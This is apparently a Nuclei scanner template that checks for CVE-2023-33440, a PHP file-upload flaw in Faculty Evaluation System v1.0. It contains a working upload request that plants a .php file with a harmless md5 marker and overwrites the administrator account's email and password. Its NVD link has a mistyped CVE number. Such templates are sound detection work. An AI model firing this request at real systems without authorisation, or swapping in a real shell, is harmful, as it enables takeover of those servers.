id: CVE-2023-33440

info:
  name: Faculty Evaluation System v1.0 - Remote Code Execution
  author: Harsh
  severity: high
  description: |
    Sourcecodester Faculty Evaluation System v1.0 is vulnerable to arbitrary code execution via /eval/ajax.php?action=save_user.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/172672/Faculty-Evaluation-System-1.0-Shell-Upload.html
    - https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/RCE-1.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-333440
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-33440
    cwe-id: CWE-434
    epss-score: 0.03396
    epss-percentile: 0.90194
    cpe: cpe:2.3:a:faculty_evaluation_system_project:faculty_evaluation_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: faculty_evaluation_system_project
    product: faculty_evaluation_system
  tags: packetstorm,cve,cve2023,faculty,rce,intrusive
variables:
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /ajax.php?action=save_user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------1037163726497

        -----------------------------1037163726497
        Content-Disposition: form-data; name="id"

        1
        -----------------------------1037163726497
        Content-Disposition: form-data; name="firstname"

        Administrator
        -----------------------------1037163726497
        Content-Disposition: form-data; name="lastname"

        a
        -----------------------------1037163726497
        Content-Disposition: form-data; name="img"; filename="{{randstr}}.php"
        Content-Type: application/octet-stream

        <?php echo md5('CVE-2023-33440'); ?>
        -----------------------------1037163726497
        Content-Disposition: form-data; name="email"

        {{email}}
        -----------------------------1037163726497
        Content-Disposition: form-data; name="password"


        -----------------------------1037163726497
        Content-Disposition: form-data; name="cpass"


        -----------------------------1037163726497--
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'regex("^1$", body_1)'
          - '!regex("^2$", body_1)'
          - 'len(body_1) == 1'
          - 'contains(body_2, "Faculty Evaluation")'
        condition: and